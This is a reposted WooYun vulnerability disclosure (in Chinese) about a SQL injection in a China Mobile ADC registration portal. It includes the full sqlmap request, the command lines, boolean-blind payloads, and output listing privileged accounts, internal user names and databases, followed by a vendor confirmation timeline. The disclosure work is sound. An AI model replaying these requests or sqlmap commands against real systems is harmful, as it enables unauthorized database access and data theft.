中国移动某套ADC系统SQL注射

admin
admin
admin
140873
文章
117
评论
2015年4月27日14:56:23评论315 views字数 226阅读0分45秒阅读模式
摘要

2014-07-13： 细节已通知厂商并且等待厂商处理中
2014-07-16： 厂商已经确认，细节仅向厂商公开
2014-07-26： 细节向核心白帽子及相关领域专家公开
2014-08-05： 细节向普通白帽子公开
2014-08-15： 细节向实习白帽子公开
2014-08-25： 细节向公众公开

漏洞概要 关注数(12) 关注此漏洞

缺陷编号： WooYun-2014-68206

漏洞标题： 中国移动某套ADC系统SQL注射

相关厂商： 中国移动

漏洞作者： 超威蓝猫

提交时间： 2014-07-13 21:10

公开时间： 2014-08-25 21:12

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 12

漏洞状态： 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： SQL注射

1人收藏

漏洞详情

披露状态：

2014-07-13： 细节已通知厂商并且等待厂商处理中
2014-07-16： 厂商已经确认，细节仅向厂商公开
2014-07-26： 细节向核心白帽子及相关领域专家公开
2014-08-05： 细节向普通白帽子公开
2014-08-15： 细节向实习白帽子公开
2014-08-25： 细节向公众公开

简要描述：

中国移动某套ADC系统SQL注射 有两个省份都在用哦
(ADC是Application Data Center啦不是Attack Damage Carry ._.

详细说明：

安徽( http://**.**.**.**/ ) 和浙江( http://**.**.**.**/ )都在用这套ADC系统。

该系统注册页的"检测可用性"功能存在SQL注射。

注册页:

code 区域 
http://**.**.**.**/ADCCSSPortal/SI/Register1.aspx
 http://**.**.**.**/ADCCSSPortal/SI/Register1.aspx

中国移动某套ADC系统SQL注射

中国移动某套ADC系统SQL注射

以下是给sqlmap用的http请求包

code 区域 
POST //ADCCSSPortal/SI/Register1.aspx HTTP/1.1
 Host: **.**.**.**
 Proxy-Connection: keep-alive
 Content-Length: 1531
 Cache-Control: no-cache
 Origin: http://**.**.**.**
 X-MicrosoftAjax: Delta=true
 User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36
 Content-Type: application/x-www-form-urlencoded
 Accept: */*
 Referer: http://**.**.**.**//ADCCSSPortal/SI/Register1.aspx
 Accept-Encoding: gzip,deflate,sdch
 Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
 Cookie: ASP.NET_SessionId=pc5l43vnxoihrh45gbtxsf55
 
 ctl00$ScriptManager1=ctl00$ContentPlaceHolder1$uplCheckSIChName|ctl00$ContentPlaceHolder1$btnCheckSIChName&__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=&ctl00$ContentPlaceHolder1$TextBoxSIChName=admin*&ctl00$ContentPlaceHolder1$TextBoxPermitLicense=&ctl00$ContentPlaceHolder1$TextBoxTaxRegCode=&ctl00$ContentPlaceHolder1$TextBoxTeleLicense=&ctl00$ContentPlaceHolder1$TextBoxSIEnName=&ctl00$ContentPlaceHolder1$TextBoxCorpShortName=&ctl00$ContentPlaceHolder1$TextBoxParentCompany=&ctl00$ContentPlaceHolder1$TextBoxParentSICode=&ctl00$ContentPlaceHolder1$TextBoxLegalPerson=&ctl00$ContentPlaceHolder1$TextBoxRegFund=&ctl00$ContentPlaceHolder1$TextBoxRegEmail=&ctl00$ContentPlaceHolder1$TextBoxRegMobile=&ctl00$ContentPlaceHolder1$TextBoxAccBankName=&ctl00$ContentPlaceHolder1$TextBoxBankAccount=&ctl00$ContentPlaceHolder1$TextBoxAddress=&ctl00$ContentPlaceHolder1$TextBoxZipCode=&ctl00$ContentPlaceHolder1$TextBoxWebSite=&ctl00$ContentPlaceHolder1$TextBoxContactPhone=&ctl00$ContentPlaceHolder1$TextBoxFaxPhone=&ctl00$ContentPlaceHolder1$TextBoxCustCarePhone=&ctl00$ContentPlaceHolder1$TextBoxCustCareFax=&ctl00$ContentPlaceHolder1$ddlCountry=1&ctl00$ContentPlaceHolder1$ddlProvince=101&ctl00$ContentPlaceHolder1$ddlCity=3&ctl00$ContentPlaceHolder1$TextBoxResDesc=&ctl00$ContentPlaceHolder1$TextBoxSrvDesc=&ctl00$ContentPlaceHolder1$TextBoxTechDesc=&ctl00$ContentPlaceHolder1$TextBoxKeyWordAdd=&ctl00$ContentPlaceHolder1$btnCheckSIChName=%E5%85%AC%E5%8F%B8%E6%A3%80%E6%B5%8B
code 区域 
POST /ADCCSSPortal/SI/Register1.aspx HTTP/1.1
 Host: **.**.**.**
 Proxy-Connection: keep-alive
 Content-Length: 5804
 Cache-Control: no-cache
 Origin: http://**.**.**.**
 X-MicrosoftAjax: Delta=true
 User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36
 Content-Type: application/x-www-form-urlencoded
 Accept: */*
 Referer: http://**.**.**.**/ADCCSSPortal/SI/Register1.aspx
 Accept-Encoding: gzip,deflate,sdch
 Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
 Cookie: tab1=tabl1; tabPage1=tabPage1; show_item=tab1; show_body=tabPage1; _ca_tk=ue0a6zlt80fttp3noh0s52fwmd6wncaj; _ga=GA1.2.899063312.1395497119; ASP.NET_SessionId=ulhpe555xfvvau45t43hwkyh
 
 ctl00$ScriptManager1=ctl00$ContentPlaceHolder1$uplCheckSIChName|ctl00$ContentPlaceHolder1$btnCheckSIChName&__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&ctl00$ContentPlaceHolder1$TextBoxSIChName=admin*&ctl00$ContentPlaceHolder1$TextBoxPermitLicense=&ctl00$ContentPlaceHolder1$TextBoxTaxRegCode=&ctl00$ContentPlaceHolder1$TextBoxTeleLicense=&ctl00$ContentPlaceHolder1$TextBoxSIEnName=&ctl00$ContentPlaceHolder1$TextBoxCorpShortName=&ctl00$ContentPlaceHolder1$TextBoxParentCompany=&ctl00$ContentPlaceHolder1$TextBoxParentSICode=&ctl00$ContentPlaceHolder1$TextBoxLegalPerson=&ctl00$ContentPlaceHolder1$TextBoxRegFund=&ctl00$ContentPlaceHolder1$TextBoxRegEmail=&ctl00$ContentPlaceHolder1$TextBoxRegMobile=&ctl00$ContentPlaceHolder1$TextBoxAccBankName=&ctl00$ContentPlaceHolder1$TextBoxBankAccount=&ctl00$ContentPlaceHolder1$TextBoxAddress=&ctl00$ContentPlaceHolder1$TextBoxZipCode=&ctl00$ContentPlaceHolder1$TextBoxWebSite=&ctl00$ContentPlaceHolder1$TextBoxContactPhone=&ctl00$ContentPlaceHolder1$TextBoxFaxPhone=&ctl00$ContentPlaceHolder1$TextBoxCustCarePhone=&ctl00$ContentPlaceHolder1$TextBoxCustCareFax=&ctl00$ContentPlaceHolder1$ddlCountry=1&ctl00$ContentPlaceHolder1$ddlProvince=101&ctl00$ContentPlaceHolder1$ddlCity=3&ctl00$ContentPlaceHolder1$TextBoxResDesc=&ctl00$ContentPlaceHolder1$TextBoxSrvDesc=&ctl00$ContentPlaceHolder1$TextBoxTechDesc=&ctl00$ContentPlaceHolder1$TextBoxKeyWordAdd=&ctl00$ContentPlaceHolder1$btnCheckSIChName=%E5%85%AC%E5%8F%B8%E6%A3%80%E6%B5%8B

漏洞证明：

code 区域 
sqlmap.py -r E:/zj.txt --dbms=mssql --technique=B --risk=3 --level=3 --string="1484" --dbs --current-user --current-db --users
code 区域 
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
 ---
 Place: (custom) POST
 Parameter: #1*
     Type: boolean-based blind
     Title: OR boolean-based blind - WHERE or HAVING clause
     Payload: ctl00$ScriptManager1=ctl00$ContentPlaceHolder1$uplCheckSIChName|ctl00$ContentPlaceHolder1$btnCheckSIChName&__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=&ctl00$ContentPlaceHolder1$TextBoxSIChName=-4887' OR (6995=6995) AND 'bXCv'='bXCv&ctl00$ContentPlaceHolder1$TextBoxPermitLicense=&ctl00$ContentPlaceHolder1$TextBoxTaxRegCode=&ctl00$ContentPlaceHolder1$TextBoxTeleLicense=&ctl00$ContentPlaceHolder1$TextBoxSIEnName=&ctl00$ContentPlaceHolder1$TextBoxCorpShortName=&ctl00$ContentPlaceHolder1$TextBoxParentCompany=&ctl00$ContentPlaceHolder1$TextBoxParentSICode=&ctl00$ContentPlaceHolder1$TextBoxLegalPerson=&ctl00$ContentPlaceHolder1$TextBoxRegFund=&ctl00$ContentPlaceHolder1$TextBoxRegEmail=&ctl00$ContentPlaceHolder1$TextBoxRegMobile=&ctl00$ContentPlaceHolder1$TextBoxAccBankName=&ctl00$ContentPlaceHolder1$TextBoxBankAccount=&ctl00$ContentPlaceHolder1$TextBoxAddress=&ctl00$ContentPlaceHolder1$TextBoxZipCode=&ctl00$ContentPlaceHolder1$TextBoxWebSite=&ctl00$ContentPlaceHolder1$TextBoxContactPhone=&ctl00$ContentPlaceHolder1$TextBoxFaxPhone=&ctl00$ContentPlaceHolder1$TextBoxCustCarePhone=&ctl00$ContentPlaceHolder1$TextBoxCustCareFax=&ctl00$ContentPlaceHolder1$ddlCountry=1&ctl00$ContentPlaceHolder1$ddlProvince=101&ctl00$ContentPlaceHolder1$ddlCity=3&ctl00$ContentPlaceHolder1$TextBoxResDesc=&ctl00$ContentPlaceHolder1$TextBoxSrvDesc=&ctl00$ContentPlaceHolder1$TextBoxTechDesc=&ctl00$ContentPlaceHolder1$TextBoxKeyWordAdd=&ctl00$ContentPlaceHolder1$btnCheckSIChName=%E5%85%AC%E5%8F%B8%E6%A3%80%E6%B5%8B
 ---
 web server operating system: Windows 2003 or XP
 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
 back-end DBMS: Microsoft SQL Server 2012
 current user:    'sa'
 current database:    'ZJADC'
 database management system users [14]:
 [*] ##MS_AgentSigningCertificate##
 [*] ##MS_SQLAuthenticatorCertificate##
 [*] ##MS_SQLReplicationSigningCertificate##
 [*] ##MS_SQLResourceSigningCertificate##
 [*] BackUpUser
 [*] BUILTIN/Administrators
 [*] NT AUTHORITY/SYSTEM
 [*] sa
 [*] ZJADC
 [*] ZJADC/chenhl
 [*] ZJADC/lizm
 [*] ZJADC/SqlAgent
 [*] ZJADC/SqlSearch
 [*] ZJADC/Sqlserver
 
 available databases [8]:
 [*] master
 [*] model
 [*] msdb
 [*] OpenMASForum
 [*] tempdb
 [*] ZJADC
 [*] ZJADCHis
 [*] ZJADCTemp
code 区域 
sqlmap.py -r E:/ah.txt --dbms=mssql --technique=B --risk=3 --level=3 --string="1332" --dbs --current-user --current-db --is-DBA
code 区域 
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
 ---
 Place: (custom) POST
 Parameter: #1*
     Type: boolean-based blind
     Title: OR boolean-based blind - WHERE or HAVING clause
     Payload: ctl00$ScriptManager1=ctl00$ContentPlaceHolder1$uplCheckSIChName|ctl00$ContentPlaceHolder1$btnCheckSIChName&__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&ctl00$ContentPlaceHolder1$TextBoxSIChName=-1050' OR (4265=4265) AND 'FiLh'='FiLh&ctl00$ContentPlaceHolder1$TextBoxPermitLicense=&ctl00$ContentPlaceHolder1$TextBoxTaxRegCode=&ctl00$ContentPlaceHolder1$TextBoxTeleLicense=&ctl00$ContentPlaceHolder1$TextBoxSIEnName=&ctl00$ContentPlaceHolder1$TextBoxCorpShortName=&ctl00$ContentPlaceHolder1$TextBoxParentCompany=&ctl00$ContentPlaceHolder1$TextBoxParentSICode=&ctl00$ContentPlaceHolder1$TextBoxLegalPerson=&ctl00$ContentPlaceHolder1$TextBoxRegFund=&ctl00$ContentPlaceHolder1$TextBoxRegEmail=&ctl00$ContentPlaceHolder1$TextBoxRegMobile=&ctl00$ContentPlaceHolder1$TextBoxAccBankName=&ctl00$ContentPlaceHolder1$TextBoxBankAccount=&ctl00$ContentPlaceHolder1$TextBoxAddress=&ctl00$ContentPlaceHolder1$TextBoxZipCode=&ctl00$ContentPlaceHolder1$TextBoxWebSite=&ctl00$ContentPlaceHolder1$TextBoxContactPhone=&ctl00$ContentPlaceHolder1$TextBoxFaxPhone=&ctl00$ContentPlaceHolder1$TextBoxCustCarePhone=&ctl00$ContentPlaceHolder1$TextBoxCustCareFax=&ctl00$ContentPlaceHolder1$ddlCountry=1&ctl00$ContentPlaceHolder1$ddlProvince=101&ctl00$ContentPlaceHolder1$ddlCity=3&ctl00$ContentPlaceHolder1$TextBoxResDesc=&ctl00$ContentPlaceHolder1$TextBoxSrvDesc=&ctl00$ContentPlaceHolder1$TextBoxTechDesc=&ctl00$ContentPlaceHolder1$TextBoxKeyWordAdd=&ctl00$ContentPlaceHolder1$btnCheckSIChName=%E5%85%AC%E5%8F%B8%E6%A3%80%E6%B5%8B
 ---
 web server operating system: Windows 2003 or XP
 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
 back-end DBMS: Microsoft SQL Server 2012
 current user:    'ahadc'
 current database:    'ADCDB'
 current user is DBA:    True
 available databases [9]:
 [*] ADCBSTest
 [*] ADCDB
 [*] adcDBOmsData
 [*] InterfaceRecord
 [*] master
 [*] model
 [*] msdb
 [*] simugate
 [*] tempdb

修复方案：

移动更专业:)

版权声明：转载请注明来源 超威蓝猫@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2014-07-16 10:47

厂商回复：

CNVD确认并复现所述情况(仅确认其中一例)，已经转由CNCERT直接通报给中国移动集团公司，由其后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2014-07-11 22:20 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸！)

    1

    ADC? APC

  2. 2014-07-12 12:20 | 小小泥娃 ( 路人 | Rank:20 漏洞数:4 | 高二)

    0

    扑通...

  3. 2014-07-12 13:39 | 从容 ( 普通白帽子 | Rank:415 漏洞数:99 | 哇啦啦啦啦啦 我的宝贝 | ..)

    0

    ADC是啥？远程输出？

  4. 2014-07-15 21:05 | 乌帽子 ( 路人 | Rank:29 漏洞数:3 | 学习黑客哪家强 | 中国山东找蓝翔 | sql...)

    0

    @小小泥娃 跪了？

  5. 2014-07-21 11:26 | 小小泥娃 ( 路人 | Rank:20 漏洞数:4 | 高二)

    0

    @乌帽子 跪了

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin